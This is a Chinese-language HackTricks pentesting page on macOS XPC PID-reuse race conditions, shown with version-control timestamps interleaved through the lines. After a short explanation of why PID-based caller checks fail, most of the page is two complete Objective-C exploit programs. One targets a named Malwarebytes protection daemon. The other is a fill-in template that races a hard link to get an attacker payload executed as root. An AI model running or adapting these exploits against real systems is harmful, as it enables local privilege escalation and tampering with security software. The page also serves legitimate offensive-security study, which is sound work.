2023-08-03 19:12:22 +00:00
|
|
|
|
# macOS PID 重用
|
2023-05-24 22:31:58 +00:00
|
|
|
|
|
|
|
|
|
<details>
|
|
|
|
|
|
2023-08-03 19:12:22 +00:00
|
|
|
|
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks 云 ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
2023-05-24 22:31:58 +00:00
|
|
|
|
|
2023-09-25 00:58:38 +00:00
|
|
|
|
* 你在一家 **网络安全公司** 工作吗?你想在 HackTricks 中看到你的 **公司广告**吗?或者你想获得 **PEASS 的最新版本或下载 HackTricks 的 PDF 版本**吗?请查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
|
|
|
|
|
* 发现我们的独家 [**NFTs**](https://opensea.io/collection/the-peass-family) 收藏品 [**The PEASS Family**](https://opensea.io/collection/the-peass-family)
|
|
|
|
|
* 获取 [**官方 PEASS & HackTricks 商品**](https://peass.creator-spring.com)
|
|
|
|
|
* **加入** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram 群组**](https://t.me/peass) 或 **关注** 我的 **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
|
|
|
|
|
* **通过向** [**hacktricks 仓库**](https://github.com/carlospolop/hacktricks) **和** [**hacktricks-cloud 仓库**](https://github.com/carlospolop/hacktricks-cloud) **提交 PR 来分享你的黑客技巧。**
|
2023-05-24 22:31:58 +00:00
|
|
|
|
|
|
|
|
|
</details>
|
|
|
|
|
|
2023-08-03 19:12:22 +00:00
|
|
|
|
## PID 重用
|
2023-05-24 22:31:58 +00:00
|
|
|
|
|
2023-09-25 00:58:38 +00:00
|
|
|
|
当 macOS 的 **XPC 服务**基于 **PID** 而不是 **审计令牌** 来检查被调用的进程时,它容易受到 PID 重用攻击的影响。这种攻击基于一种 **竞争条件**,其中一个 **利用** 将会 **滥用** 功能并在此之后执行 **`posix_spawn(NULL, target_binary, NULL, &attr, target_argv, environ)`** 的 **漏洞** 将会 **向 XPC 服务发送消息**。
|
2023-05-24 22:31:58 +00:00
|
|
|
|
|
2023-09-25 00:58:38 +00:00
|
|
|
|
这个函数将使得 **允许的二进制文件拥有 PID**,但是 **恶意的 XPC 消息将在此之前被发送**。因此,如果 **XPC** 服务在执行 **`posix_spawn`** 之后使用 **PID** 来 **验证** 发送者并在验证之后检查它,它将认为它来自一个 **授权的** 进程。
|
2023-05-24 22:31:58 +00:00
|
|
|
|
|
2023-08-03 19:12:22 +00:00
|
|
|
|
### 攻击示例
|
2023-05-24 22:31:58 +00:00
|
|
|
|
|
2023-08-31 16:02:56 +00:00
|
|
|
|
如果你找到了函数 **`shouldAcceptNewConnection`** 或者被它调用的函数 **调用了** **`processIdentifier`** 而没有调用 **`auditToken`**。那么很有可能它正在验证进程的 PID 而不是审计令牌。\
|
2023-08-03 19:12:22 +00:00
|
|
|
|
就像这个例子中所示(来自参考资料):
|
2023-05-24 22:31:58 +00:00
|
|
|
|
|
2023-08-31 16:02:56 +00:00
|
|
|
|
<figure><img src="../../../../.gitbook/assets/image (4) (1) (1) (1) (2).png" alt=""><figcaption></figcaption></figure>
|
2023-05-24 22:31:58 +00:00
|
|
|
|
|
2023-09-25 00:58:38 +00:00
|
|
|
|
检查这个攻击示例(同样来自参考资料)以查看攻击的两个部分:
|
2023-05-24 22:31:58 +00:00
|
|
|
|
|
2023-09-25 00:58:38 +00:00
|
|
|
|
* 一个 **生成多个 fork** 的部分
|
|
|
|
|
* **每个 fork** 在发送消息后立即执行 **`posix_spawn`** 将负载发送到 XPC 服务。
|
2023-05-24 22:31:58 +00:00
|
|
|
|
|
|
|
|
|
{% hint style="danger" %}
|
2023-09-25 00:58:38 +00:00
|
|
|
|
为了使攻击生效,重要的是导出 **`OBJC_DISABLE_INITIALIZE_FORK_SAFETY=YES`** 或将其放入攻击中:
|
2023-05-24 22:31:58 +00:00
|
|
|
|
```objectivec
|
|
|
|
|
asm(".section __DATA,__objc_fork_ok\n"
|
|
|
|
|
"empty:\n"
|
|
|
|
|
".no_dead_strip empty\n");
|
|
|
|
|
```
|
|
|
|
|
{% endhint %}
|
2023-09-25 00:58:38 +00:00
|
|
|
|
|
|
|
|
|
{% tabs %}
|
|
|
|
|
{% tab title="NSTasks" %}
|
|
|
|
|
第一种使用 **`NSTasks`** 和参数来启动子进程以利用 RC 的选项
|
2023-05-24 22:31:58 +00:00
|
|
|
|
```objectivec
|
|
|
|
|
// from https://wojciechregula.blog/post/learn-xpc-exploitation-part-2-say-no-to-the-pid/
|
2023-09-25 00:58:38 +00:00
|
|
|
|
// gcc -framework Foundation expl.m -o expl
|
2023-05-24 22:31:58 +00:00
|
|
|
|
|
|
|
|
|
#import <Foundation/Foundation.h>
|
|
|
|
|
#include <spawn.h>
|
|
|
|
|
#include <sys/stat.h>
|
|
|
|
|
|
|
|
|
|
#define RACE_COUNT 32
|
|
|
|
|
#define MACH_SERVICE @"com.malwarebytes.mbam.rtprotection.daemon"
|
|
|
|
|
#define BINARY "/Library/Application Support/Malwarebytes/MBAM/Engine.bundle/Contents/PlugIns/RTProtectionDaemon.app/Contents/MacOS/RTProtectionDaemon"
|
|
|
|
|
|
|
|
|
|
// allow fork() between exec()
|
|
|
|
|
asm(".section __DATA,__objc_fork_ok\n"
|
|
|
|
|
"empty:\n"
|
|
|
|
|
".no_dead_strip empty\n");
|
|
|
|
|
|
|
|
|
|
extern char **environ;
|
|
|
|
|
|
|
|
|
|
// defining necessary protocols
|
|
|
|
|
@protocol ProtectionService
|
|
|
|
|
- (void)startDatabaseUpdate;
|
|
|
|
|
- (void)restoreApplicationLauncherWithCompletion:(void (^)(BOOL))arg1;
|
|
|
|
|
- (void)uninstallProduct;
|
|
|
|
|
- (void)installProductUpdate;
|
|
|
|
|
- (void)startProductUpdateWith:(NSUUID *)arg1 forceInstall:(BOOL)arg2;
|
|
|
|
|
- (void)buildPurchaseSiteURLWithCompletion:(void (^)(long long, NSString *))arg1;
|
|
|
|
|
- (void)triggerLicenseRelatedChecks;
|
|
|
|
|
- (void)buildRenewalLinkWith:(NSUUID *)arg1 completion:(void (^)(long long, NSString *))arg2;
|
|
|
|
|
- (void)cancelTrialWith:(NSUUID *)arg1 completion:(void (^)(long long))arg2;
|
|
|
|
|
- (void)startTrialWith:(NSUUID *)arg1 completion:(void (^)(long long))arg2;
|
|
|
|
|
- (void)unredeemLicenseKeyWith:(NSUUID *)arg1 completion:(void (^)(long long))arg2;
|
|
|
|
|
- (void)applyLicenseWith:(NSUUID *)arg1 key:(NSString *)arg2 completion:(void (^)(long long))arg3;
|
|
|
|
|
- (void)controlProtectionWithRawFeatures:(long long)arg1 rawOperation:(long long)arg2;
|
|
|
|
|
- (void)restartOS;
|
|
|
|
|
- (void)resumeScanJob;
|
|
|
|
|
- (void)pauseScanJob;
|
|
|
|
|
- (void)stopScanJob;
|
|
|
|
|
- (void)startScanJob;
|
|
|
|
|
- (void)disposeOperationBy:(NSUUID *)arg1;
|
|
|
|
|
- (void)subscribeTo:(long long)arg1;
|
|
|
|
|
- (void)pingWithTag:(NSUUID *)arg1 completion:(void (^)(NSUUID *, long long))arg2;
|
|
|
|
|
@end
|
|
|
|
|
|
|
|
|
|
void child() {
|
|
|
|
|
|
2023-08-03 19:12:22 +00:00
|
|
|
|
// send the XPC messages
|
|
|
|
|
NSXPCInterface *remoteInterface = [NSXPCInterface interfaceWithProtocol:@protocol(ProtectionService)];
|
|
|
|
|
NSXPCConnection *xpcConnection = [[NSXPCConnection alloc] initWithMachServiceName:MACH_SERVICE options:NSXPCConnectionPrivileged];
|
|
|
|
|
xpcConnection.remoteObjectInterface = remoteInterface;
|
|
|
|
|
|
|
|
|
|
[xpcConnection resume];
|
|
|
|
|
[xpcConnection.remoteObjectProxy restartOS];
|
|
|
|
|
|
|
|
|
|
char target_binary[] = BINARY;
|
|
|
|
|
char *target_argv[] = {target_binary, NULL};
|
|
|
|
|
posix_spawnattr_t attr;
|
|
|
|
|
posix_spawnattr_init(&attr);
|
|
|
|
|
short flags;
|
|
|
|
|
posix_spawnattr_getflags(&attr, &flags);
|
|
|
|
|
flags |= (POSIX_SPAWN_SETEXEC | POSIX_SPAWN_START_SUSPENDED);
|
|
|
|
|
posix_spawnattr_setflags(&attr, flags);
|
|
|
|
|
posix_spawn(NULL, target_binary, NULL, &attr, target_argv, environ);
|
2023-05-24 22:31:58 +00:00
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
bool create_nstasks() {
|
|
|
|
|
|
2023-08-03 19:12:22 +00:00
|
|
|
|
NSString *exec = [[NSBundle mainBundle] executablePath];
|
|
|
|
|
NSTask *processes[RACE_COUNT];
|
2023-05-24 22:31:58 +00:00
|
|
|
|
|
2023-08-03 19:12:22 +00:00
|
|
|
|
for (int i = 0; i < RACE_COUNT; i++) {
|
|
|
|
|
processes[i] = [NSTask launchedTaskWithLaunchPath:exec arguments:@[ @"imanstask" ]];
|
|
|
|
|
}
|
2023-05-24 22:31:58 +00:00
|
|
|
|
|
2023-08-03 19:12:22 +00:00
|
|
|
|
int i = 0;
|
|
|
|
|
struct timespec ts = {
|
|
|
|
|
.tv_sec = 0,
|
|
|
|
|
.tv_nsec = 500 * 1000000,
|
|
|
|
|
};
|
2023-05-24 22:31:58 +00:00
|
|
|
|
|
2023-08-03 19:12:22 +00:00
|
|
|
|
nanosleep(&ts, NULL);
|
|
|
|
|
if (++i > 4) {
|
|
|
|
|
for (int i = 0; i < RACE_COUNT; i++) {
|
|
|
|
|
[processes[i] terminate];
|
|
|
|
|
}
|
|
|
|
|
return false;
|
|
|
|
|
}
|
2023-05-24 22:31:58 +00:00
|
|
|
|
|
2023-08-03 19:12:22 +00:00
|
|
|
|
return true;
|
2023-05-24 22:31:58 +00:00
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
int main(int argc, const char * argv[]) {
|
|
|
|
|
|
2023-08-03 19:12:22 +00:00
|
|
|
|
if(argc > 1) {
|
|
|
|
|
// called from the NSTasks
|
|
|
|
|
child();
|
2023-05-24 22:31:58 +00:00
|
|
|
|
|
2023-08-03 19:12:22 +00:00
|
|
|
|
} else {
|
|
|
|
|
NSLog(@"Starting the race");
|
|
|
|
|
create_nstasks();
|
|
|
|
|
}
|
2023-05-24 22:31:58 +00:00
|
|
|
|
|
2023-08-03 19:12:22 +00:00
|
|
|
|
return 0;
|
2023-09-25 00:58:38 +00:00
|
|
|
|
}
|
|
|
|
|
```
|
|
|
|
|
{% tab title="fork" %}
|
|
|
|
|
这个例子使用原始的 **`fork`** 来启动**利用 PID 竞争条件的子进程**,然后通过**硬链接利用另一个竞争条件**:
|
|
|
|
|
```objectivec
|
|
|
|
|
// export OBJC_DISABLE_INITIALIZE_FORK_SAFETY=YES
|
|
|
|
|
// gcc -framework Foundation expl.m -o expl
|
|
|
|
|
|
|
|
|
|
#include <Foundation/Foundation.h>
|
|
|
|
|
#include <spawn.h>
|
|
|
|
|
#include <pthread.h>
|
|
|
|
|
|
|
|
|
|
// TODO: CHANGE PROTOCOL AND FUNCTIONS
|
|
|
|
|
@protocol HelperProtocol
|
|
|
|
|
- (void)DoSomething:(void (^)(_Bool))arg1;
|
|
|
|
|
@end
|
|
|
|
|
|
|
|
|
|
// Global flag to track exploitation status
|
|
|
|
|
bool pwned = false;
|
|
|
|
|
|
|
|
|
|
/**
|
|
|
|
|
* Continuously overwrite the contents of the 'hard_link' file in a race condition to make the
|
|
|
|
|
* XPC service verify the legit binary and then execute as root out payload.
|
|
|
|
|
*/
|
|
|
|
|
void *check_race(void *arg) {
|
|
|
|
|
while(!pwned) {
|
|
|
|
|
// Overwrite with contents of the legit binary
|
|
|
|
|
system("cat ./legit_bin > hard_link");
|
|
|
|
|
usleep(50000);
|
|
|
|
|
|
|
|
|
|
// Overwrite with contents of the payload to execute
|
|
|
|
|
// TODO: COMPILE YOUR OWN PAYLOAD BIN
|
|
|
|
|
system("cat ./payload > hard_link");
|
|
|
|
|
usleep(50000);
|
|
|
|
|
}
|
|
|
|
|
return NULL;
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
void child_xpc_pid_rc_abuse(){
|
|
|
|
|
// TODO: INDICATE A VALID BIN TO BYPASS SIGN VERIFICATION
|
|
|
|
|
#define kValid "./Legit Updater.app/Contents/MacOS/Legit"
|
|
|
|
|
extern char **environ;
|
|
|
|
|
|
|
|
|
|
// Connect with XPC service
|
|
|
|
|
// TODO: CHANGE THE ID OF THE XPC TO EXPLOIT
|
|
|
|
|
NSString* service_name = @"com.example.Helper";
|
|
|
|
|
NSXPCConnection* connection = [[NSXPCConnection alloc] initWithMachServiceName:service_name options:0x1000];
|
|
|
|
|
// TODO: CNAGE THE PROTOCOL NAME
|
|
|
|
|
NSXPCInterface* interface = [NSXPCInterface interfaceWithProtocol:@protocol(HelperProtocol)];
|
|
|
|
|
[connection setRemoteObjectInterface:interface];
|
|
|
|
|
[connection resume];
|
|
|
|
|
|
|
|
|
|
id obj = [connection remoteObjectProxyWithErrorHandler:^(NSError* error) {
|
|
|
|
|
NSLog(@"[-] Something went wrong");
|
|
|
|
|
NSLog(@"[-] Error: %@", error);
|
|
|
|
|
}];
|
|
|
|
|
|
|
|
|
|
NSLog(@"obj: %@", obj);
|
|
|
|
|
NSLog(@"conn: %@", connection);
|
|
|
|
|
|
|
|
|
|
// Call vulenrable XPC function
|
|
|
|
|
// TODO: CHANEG NAME OF FUNCTION TO CALL
|
|
|
|
|
[obj DoSomething:^(_Bool b){
|
|
|
|
|
NSLog(@"Response, %hdd", b);
|
|
|
|
|
}];
|
|
|
|
|
|
|
|
|
|
// Change current process to the legit binary suspended
|
|
|
|
|
char target_binary[] = kValid;
|
|
|
|
|
char *target_argv[] = {target_binary, NULL};
|
|
|
|
|
posix_spawnattr_t attr;
|
|
|
|
|
posix_spawnattr_init(&attr);
|
|
|
|
|
short flags;
|
|
|
|
|
posix_spawnattr_getflags(&attr, &flags);
|
|
|
|
|
flags |= (POSIX_SPAWN_SETEXEC | POSIX_SPAWN_START_SUSPENDED);
|
|
|
|
|
posix_spawnattr_setflags(&attr, flags);
|
|
|
|
|
posix_spawn(NULL, target_binary, NULL, &attr, target_argv, environ);
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
/**
|
|
|
|
|
* Function to perform the PID race condition using children calling the XPC exploit.
|
|
|
|
|
*/
|
|
|
|
|
void xpc_pid_rc_abuse() {
|
|
|
|
|
#define RACE_COUNT 1
|
|
|
|
|
extern char **environ;
|
|
|
|
|
int pids[RACE_COUNT];
|
|
|
|
|
|
|
|
|
|
// Fork child processes to exploit
|
|
|
|
|
for (int i = 0; i < RACE_COUNT; i++) {
|
|
|
|
|
int pid = fork();
|
|
|
|
|
if (pid == 0) { // If a child process
|
|
|
|
|
child_xpc_pid_rc_abuse();
|
|
|
|
|
}
|
|
|
|
|
printf("forked %d\n", pid);
|
|
|
|
|
pids[i] = pid;
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
// Wait for children to finish their tasks
|
|
|
|
|
sleep(3);
|
|
|
|
|
|
|
|
|
|
// Terminate child processes
|
|
|
|
|
for (int i = 0; i < RACE_COUNT; i++) {
|
|
|
|
|
if (pids[i]) {
|
|
|
|
|
kill(pids[i], 9);
|
|
|
|
|
}
|
|
|
|
|
}
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
int main(int argc, const char * argv[]) {
|
|
|
|
|
// Create and set execution rights to 'hard_link' file
|
|
|
|
|
system("touch hard_link");
|
|
|
|
|
system("chmod +x hard_link");
|
|
|
|
|
|
|
|
|
|
// Create thread to exploit sign verification RC
|
|
|
|
|
pthread_t thread;
|
|
|
|
|
pthread_create(&thread, NULL, check_race, NULL);
|
|
|
|
|
|
|
|
|
|
while(!pwned) {
|
|
|
|
|
// Try creating 'download' directory, ignore errors
|
|
|
|
|
system("mkdir download 2>/dev/null");
|
|
|
|
|
|
|
|
|
|
// Create a hardlink
|
|
|
|
|
// TODO: CHANGE NAME OF FILE FOR SIGN VERIF RC
|
|
|
|
|
system("ln hard_link download/legit_bin");
|
|
|
|
|
|
|
|
|
|
xpc_pid_rc_abuse();
|
|
|
|
|
usleep(10000);
|
|
|
|
|
|
|
|
|
|
// The payload will generate this file if exploitation is successfull
|
|
|
|
|
if (access("/tmp/pwned", F_OK ) == 0) {
|
|
|
|
|
pwned = true;
|
|
|
|
|
}
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
return 0;
|
|
|
|
|
}
|
2023-05-24 22:31:58 +00:00
|
|
|
|
```
|
2023-09-25 00:58:38 +00:00
|
|
|
|
{% endtab %}
|
|
|
|
|
{% endtabs %}
|
|
|
|
|
|
2023-08-03 19:12:22 +00:00
|
|
|
|
## 参考资料
|
2023-05-24 22:31:58 +00:00
|
|
|
|
|
|
|
|
|
* [https://wojciechregula.blog/post/learn-xpc-exploitation-part-2-say-no-to-the-pid/](https://wojciechregula.blog/post/learn-xpc-exploitation-part-2-say-no-to-the-pid/)
|
2023-05-26 11:10:05 +00:00
|
|
|
|
* [https://saelo.github.io/presentations/warcon18\_dont\_trust\_the\_pid.pdf](https://saelo.github.io/presentations/warcon18\_dont\_trust\_the\_pid.pdf)
|
2023-05-24 22:31:58 +00:00
|
|
|
|
|
|
|
|
|
<details>
|
|
|
|
|
|
2023-08-16 05:11:08 +00:00
|
|
|
|
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
2023-05-24 22:31:58 +00:00
|
|
|
|
|
2023-09-25 00:58:38 +00:00
|
|
|
|
* 你在一个**网络安全公司**工作吗?想要在HackTricks中**宣传你的公司**吗?或者你想要**获取最新版本的PEASS或下载PDF格式的HackTricks**吗?请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
|
|
|
|
* 发现我们的独家[NFT收藏品**The PEASS Family**](https://opensea.io/collection/the-peass-family)
|
2023-08-16 05:11:08 +00:00
|
|
|
|
* 获得[**官方PEASS和HackTricks周边产品**](https://peass.creator-spring.com)
|
2023-09-25 00:58:38 +00:00
|
|
|
|
* **加入**[**💬**](https://emojipedia.org/speech-balloon/) [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram群组**](https://t.me/peass) 或 **关注**我在**Twitter**上的[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
|
2023-08-16 05:11:08 +00:00
|
|
|
|
* **通过向**[**hacktricks repo**](https://github.com/carlospolop/hacktricks) **和**[**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **提交PR来分享你的黑客技巧。**
|
2023-05-24 22:31:58 +00:00
|
|
|
|
|
|
|
|
|
</details>
|